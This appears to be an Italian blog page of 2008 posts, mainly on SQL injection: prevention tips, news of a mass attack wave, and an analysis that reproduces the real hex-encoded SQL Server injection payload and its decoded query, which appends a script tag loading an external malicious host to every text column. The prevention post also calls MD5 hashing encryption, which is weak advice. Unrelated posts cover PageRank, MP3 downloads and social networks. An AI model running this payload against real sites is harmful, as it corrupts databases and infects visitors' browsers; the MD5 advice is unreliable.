Come evitare le Sql Injection

June 6, 2008 - Noises

Prevenire le Sql Injection

Quando un utente malizioso interagisce con il nostro software, si mette alla ricerca dei punti deboli e tenta di rompere il sistema proprio lì; perciò, possiamo affermare che un sistema è tanto sicuro quanto è sicura la sua parte più debole.

Andiamo dunque ad esaminare tutte le componenti da mettere in sicurezza; le operazioni consigliate possono sembrare molto semplici ma, forse per disattenzione, forse per la fretta di rilasciare un prodotto, non sempre vengono effettuate (ed il recente boom di infezioni lo dimostra).

Siringa e scudo

Conosci i tuoi dati

Se un’applicazione web richiede all’utente di scegliere ad es. una data, è bene validare tipo, lunghezza, formato e range client-side (in JavaScript) e server-side.

Prima del viaggio verso il lato server, è bene filtrare i dati per aggiungere caratteri di escape a caratteri che hanno un significato speciale in SQL, ad es. l’apostrofo. Tenere presente che questi filtri non hanno effetto sugli attacchi che impiegano caratteri ASCII in esadecimale; in tal caso, la difesa dovrà avvenire più in profondità.

Se poi il dato che viaggia è sensibile (ad es. informazioni sugli utenti, specialmente se finanziarie) criptarlo è d’obbligo, ad es. tramite un salted hash, ad es. MD5.

Conosci i tuoi utenti

Assegnare agli utenti del database i privilegi strettamente necessari: un’applicazione web che si connette ad un db usando l’account dell’amministratore da’ all’attaccante il potenziale di eseguire qualunque comando.

Inoltre, se l’attaccante riesce ad agire fuori dei confini del db (ad es. usando la procedura xp_cmdshell), potrebbe acquisire accesso illimitato alla macchina che ospita SQL Server. Infatti, quando un’istanza di SQL Server viene installata, viene creato un servizio in esecuzione in background (che processa i comandi dalle applicazioni ad esso connesse) appartenente all’account di sistema locale (il più potente su una macchina Windows, persino più potente dell’account amministrativo). Perciò, Microsoft raccomanda che durante l’installazione di SQL Server il server venga eseguito da un account che possa accedere soltanto alle risorse strettamente necessarie.

Approfondimenti:
Sql Injection


Come fare una Sql Injection su Sql Server

May 24, 2008 - Noises

Ecco un esempio di Sql injection per SQL Server, che viene aggiunta alla fine di una URL dinamica. Ovviamente effettuare tale procedura è illegale: don’t try this at home! ;)

Sql server injection

Il codice da iniettare nell’URL dinamica.

DECLARE @S VARCHAR(4000);SET
@S=CAST(0x4445434C415245204054205641524348415228323535292C
404320564152434841522832353529204445434C415245205461626C655
F437572736F7220435552534F5220464F522053454C45435420612E6E6
16D652C622E6E616D652046524F4D207379736F626A6563747320612C7
37973636F6C756D6E73206220574845524520612E69643D622E6964204
14E4420612E78747970653D27752720414E442028622E78747970653D39
39204F5220622E78747970653D3335204F5220622E78747970653D3233
31204F5220622E78747970653D31363729204F50454E205461626C655F
437572736F72204645544348204E4558542046524F4D205461626C655F
437572736F7220494E544F2040542C4043205748494C45284040464554
43485F5354415455533D302920424547494E2045584543282755504441
5445205B272B40542B275D20534554205B272B40432B275D3D5254524
94D28434F4E5645525428564152434841522834303030292C5B272B404
32B275D29292B27273C736372697074207372633D687474703A2F2F7777
772E61647739352E636F6D2F622E6A733E3C2F7363726970743E272727
29204645544348204E4558542046524F4D205461626C655F437572736F
7220494E544F2040542C404320454E4420434C4F5345205461626C655
F437572736F72204445414C4C4F43415445205461626C655F437572736
F7220 AS VARCHAR(4000));
EXEC(@S)

Si tratta di una injection utilizzata durante un attacco reale ad un noto sito italiano ed a molti altri siti in rete.

Come vedete, prima si dichiara una variabile, poi la si inizializza con il valore 0x4445434C41524520…ma cosa significa? Si tratta di un valore espresso nel sistema numerico esadecimale (identificato dal prefisso ‘0x’), che dopo il cast in varchar svela la sua vera natura: è una query per Sql Server.

La Query che verrà eseguita.

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''< scri pt src=http://www.ad w95.com/b.js>‘'’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Questa query modifica tutte le colonne del database, aggiungendo il seguente script:

< scri pt src=http://www.ad w95.com/b.js>

Che, stampato nelle pagine dei siti compromessi, sfrutterà eventuali bug del browser del malcapitato utente.

Disclaimer.

Tutte le informazioni e le tecniche sono state descritte solo per fini educativi e qualsiasi uso malizioso di queste informazioni è illegale e fortemente scoraggiato.

Approfondimenti:
Lo stesso attacco è stato rilevato da blazo
Sql Injection


Attacchi Sql Injection dalla Cina

May 23, 2008 - Noises

Il web, ultima settimana di Aprile 2008.

Si osserva un picco di attacchi di tipo SQL Injection provenienti da server farm cinesi. Circa mezzo milione di pagine web residenti su server su cui girano le tecnologie IIS, ASP e SQL Server vengono infettate.

Microsoft precisa che gli aggressori non hanno sfruttato falle, vecchie o nuove, contenute nei propri software, ma hanno approfittato di alcuni dei più comuni errori compiuti dagli amministratori nella configurazione dei siti web e dei database.

SQL Injection
La figura (ottenuta tramite Google Trends) mostra l’andamento del numero di ricerche della query [SQL Injection], insieme al volume di news correlate. E’ evidente l’interesse per l’argomento che si è sviluppato a causa degli attacchi dell’ultimo periodo.

Notizie su sql injection

La situazione attuale.

Da circa una settimana gli esperti di sicurezza stanno registrando una nuova ondata di attacchi. Come in passato, gli aggressori si avvalgono dei risultati di Google per automatizzare la ricerca di computer vulnerabili.

La società di sicurezza Armorize Technology stima che, solo nell’ultima settimana, i cracker cinesi hanno compromesso almeno 10mila server Windows e centinaia di migliaia di pagine web. Per avere un’idea del numero di siti recentemente compromessi, provate a cercare banner82 su Google.com.

Ma come è fatto un tipico attacco?

Grazie alla collaborazione di un mio collega che mi ha gentilmente messo a disposizione i dati raccolti da un sistema che ha sviluppato (in grado di riconoscere e memorizzare gli attacchi), domani pubblicherò un esempio di una query utilizzata durante un attacco reale verso $noto_sito_italiano.

Approfondimenti:
Bot cinesi infettano migliaia di server
Come fare una Sql Injection su Sql Server
Come evitare le Sql Injection


Pagerank, Autovettori e Catene di Markov

April 26, 2008 - Noises

Surfista casualeL’autovettore da $25.000.000.000 è un paper molto interessante, che discute di come l’Algebra lineare sia stata usata per plasmare il cuore di Google: Pagerank.

Si parte da un’introduzione ad alto livello, e si finisce per perdersi tra autovettori e autovalori. La favoletta legata al Page Rank è quella di un web surfer che clicca su qualche link, poi si annoia e visita una pagina a caso: dunque Page Rank è essenzialmente un’applicazione delle Catene di Markov al grafo del web in cui gli stati sono pagine, e le transizioni sono link.

Il valore del PR di una pagina web riflette la probabilità che il random surfer finisca su quella pagina cliccando su un link. Come avrete capito, l’obiettivo di questo post non è decantare l’importanza del PR nel posizionamento, ma presentare come l’algoritmo del Pagerank rappresenti un’interessante applicazione di concetti matematici. Un riferimento è l’ormai classico “The PageRank Citation Ranking: Bringing Order to the Web” di Larry Page, Sergey Brin, R. Motwani, and T. Winograd.


Download legale di Mp3

February 1, 2008 - Noises

Copertina di Amen BaustelleLeggo sul sito web dei Baustelle che:

Per chi ancora non lo sapesse, “Amen” è in vendita nei negozi di dischi. Certo come la morte, almeno in quelli che ancora esistono.

E allora noto in maniera confusa che, se gli introiti provenienti dalle vendite dei cd sono in caduta libera, i primi a rimetterci non sono le major nè gli artisti (che sperimentano canali alternativi - come Radiohead e NIN), ma i negozietti di dischi.

Il fatturato ormai lo fanno i concerti. Il trend dei negozi online di musica (iTunes, Amazon?) danno segnali positivi (ma il loro futuro è incerto). La maggior parte della musica viaggia sulle reti peer to peer. Da un ascoltatore all’altro, uno stream di bit striscia furtivo guidato dai consigli letti in chat o su LastFM. Forse quando qualcuno unirà tutti questi puntini, il disegno sarà rivelato.

Chi li ha uniti ancora non c’è, in compenso nell’aria c’è qualcosa di nuovo: sembra che il download di mp3 stia cercando di uscire dall’illegalità, e lo conferma la tempesta mediatica che è soffiata attorno al nome di Qtrax. Sembrava fosse arrivata una rivoluzione: un portale per scaricare musica legalmente senza pagare un soldo. File gratis agli utenti e introiti pubblicitari ad artisti e case discografiche.

Ma non c’è nessun accordo con le major, come Allan Klepfisz aveva annunciato. Una ad una, le grosse case discografiche (Emi, Universal, Bmg e Warner Bros) hanno smentito l’annuncio fatto dal creatore di Qtrax.

Nel frattempo, il mondo non si ferma e:
- Su downlovers.it, realtà italiana che offre Tutta la musica che vuoi. Gratis. Legale. è possibile scaricare il nuovo dei Baustelle: Amen.
- E’ in arrivo un nuovo comma, non più modificabile in quanto già approvato da Camera e Senato, che rende legale la pubblicazione su internet di mp3 di musica protetta dal diritto d’autore. Legislatori italiani si sono scoperti seguaci del p2p? No, semplicemente fanno la legge senza capire quello che scrivono!
- Vengo nominato per gli Z-Blog Awards 2008! …me n’ero già accorto, ma solo oggi sono riuscito a trovare un attimo per fare un post. :)


Ragazza giapponese fissa la webcam

January 21, 2008 - Noises

L’ultimo fenomeno di YouTube dura 34 secondi e riceve 600mila visite in soli 5 giorni. Non è un video musicale, non è uno spezzone di un film o di una trasmissione tv, non è un filmato violento nè divertente…anche nell’epoca attuale, epoca del tagging, è difficile trovare una categoria in cui inserirlo:


Nel frattempo, mentre grazie al popolare sito di condivisione di video il contatto degli occhi (normalmente una relazione uno a uno) diventa una relazione uno a molti, il mondo continua a girare e:
- Dopo numerose polemiche chiude il portale turistico Italia.it, per cui sono stati stanziati 45 milioni di euro dei quali ne sono stati spesi (per la costruzione e la gestione) circa 7 in due anni e mezzo.
- Dopo la Fontana di Trevi colorata di rosso, un’altra performance del “futurista” Graziano Cecchini: migliaia di palline colorate rotolano a Trinità dei Monti


Madameweb di notte, Prof di giorno

November 21, 2007 - Noises

Quando la libertà personale e il ruolo che si ricopre nella società vanno in conflitto, allora il caso è delicato. E mette in luce come nella attuale società (dominata da Internet e delle memorie di massa a basso costo) la vita privata a volte cessa di essere tale, in quanto passibile di registrazione, immagazinamento e riproduzione.

MadamewebAnna insegna in una scuola di Pordenone. Nel privato è Madameweb. I suoi alunni tappezzarono i bagni con le sue immagini hard trovate sul web. Alla fiera dell’eros di Berlino, a fine ottobre, è stata un’attrazione e il video che testimonia il suo successo è finito su YouTube.

Nel blog di un collega della Pornoprof si discute la questione dell’etica degli insegnanti: “La vita privata”, scrive il prof-blogger, “conta, e conta eccome. Conta per le famiglie. Conta per la Scuola. Conta per il ruolo che lei ha nei confronti degli alunni. Conta per le istituzioni, e anche per chi le ruota attorno”.

La risposta di Madameweb non si è fatta attendere: “Il mio comportamento a scuola è sempre stato estremamente professionale e integerrimo”, ha risposto al collega, sottolineando di non indossare mai abiti provocanti e di mantenere con tutti un atteggiamento distaccato. “Noi docenti dobbiamo prima di tutto garantire una buona preparazione culturale nonché una crescita e maturazione dell’individuo. L’educazione e i valori devono essere trasmessi principalmente dai genitori o dai tutori dei ragazzi. Non possiamo sostituirci a una madre o a un padre e diventare per loro un modello da seguire”.

E, alla fine del post, in un estremo atto di coraggio, la “porno prof” svela la sua identità firmandosi con nome e cognome: Anna Ciriani.

Riferimenti: Prof di giorno, pornodiva di notte


Weinberger allo IAB Forum 2007

November 8, 2007 - Noises

Logo IAB ForumDavid Weinberger è un maestro della forma e del contenuto: oltre ad essere un grande comunicatore in grado di magnetizzare l’attenzione degli spettatori, le sue idee sono davvero innovative. Sorprendono e stravolgono quello che già sai.

Ieri ho avuto il piacere di assistere ad un suo intervento che si è tenuto allo IABForum di Milano, dal titolo “Everything is Miscellaneous” (che è anche il titolo di un suo libro che da ieri è entrato a far parte della mia lista di titoli da acquistare ;) ). Uno dei temi trattati è stato come dalla nascita di Internet gli esseri umani, che costantemente collezionano, etichettano e organizzano entità, si siano trovati impegnati ad eseguire queste attività su oggetti sempre meno fisici e sempre più digitali, e sul profondo impatto di tale rivoluzione.

Il primo capitolo di Everything is Miscellaneous è disponibile per la visione online gratuita.


OpenSocial di Google

October 31, 2007 - Noises

Google Opensocial OpenSocial è un insieme di tre API definite da Google che permette agli sviluppatori di accedere a :

- Profili degli utenti
- Connessioni tra amici (Grafo sociale)
- Flusso delle attività che gli utenti compiono all’interno dei social network (il news feed già noto agli utenti di Facebook)

Le entità partecipanti si dividono in due gruppi:

- Gli Host (cioè i social network partecipanti, che includono: Orkut, Salesforce, LinkedIn, Ning, Hi5, Plaxo, Friendster, Viadeo e Oracle) che accetteranno le chiamate API, restituendo dati appropriati.
- Gli Sviluppatori: ad es. Flixster, iLike, RockYou e Slide.

Secondo quanto annunciato, l’integrazione metterà a disposizione degli sviluppatori di applicazioni Web che poggiano su social network già esistenti un’utenza pari a 100 milioni di utenti circa.

La data di lancio del progetto è questo venerdì, all’indirizzo http://code.google.com/apis/opensocial


VisualDNA: l’identità illustrata

July 10, 2007 - Noises

Una delle cose più gustose della vita è il fatto che l’apparenza inganna. E se l’apparenza inganna, allora il gioco di dischiudere i segreti celati dietro la facciata di un altro diventa una delizia. Ma non sarà sempre così.

Uno scenario in cui il proprio profilo verrà memorizzato sul proprio cellulare e inviato via bluetooth per ricevere consigli commerciali profilati e chissà, per calcolare la distanza in numero di conoscenti (gradi di separazione) tra sè stessi e le persone sedute ai tavoli vicini apre a nuove interazioni.

In uno scenario di questo tipo la domanda: In quale forma rappresentare il profilo di una persona? diventa critica. Tra le tante soluzioni (più o meno) standard che si incontrano in rete, VisualDNA mi ha colpito.

L’applicazione mostra una serie di concetti e chiede di darne una definizione per mezzo di immagini, per costruire un profilo comprensibile a colpo d’occhio.

Cosa e arte

Ecco il mio profilo:


Read my VisualDNA     Get your own VisualDNA™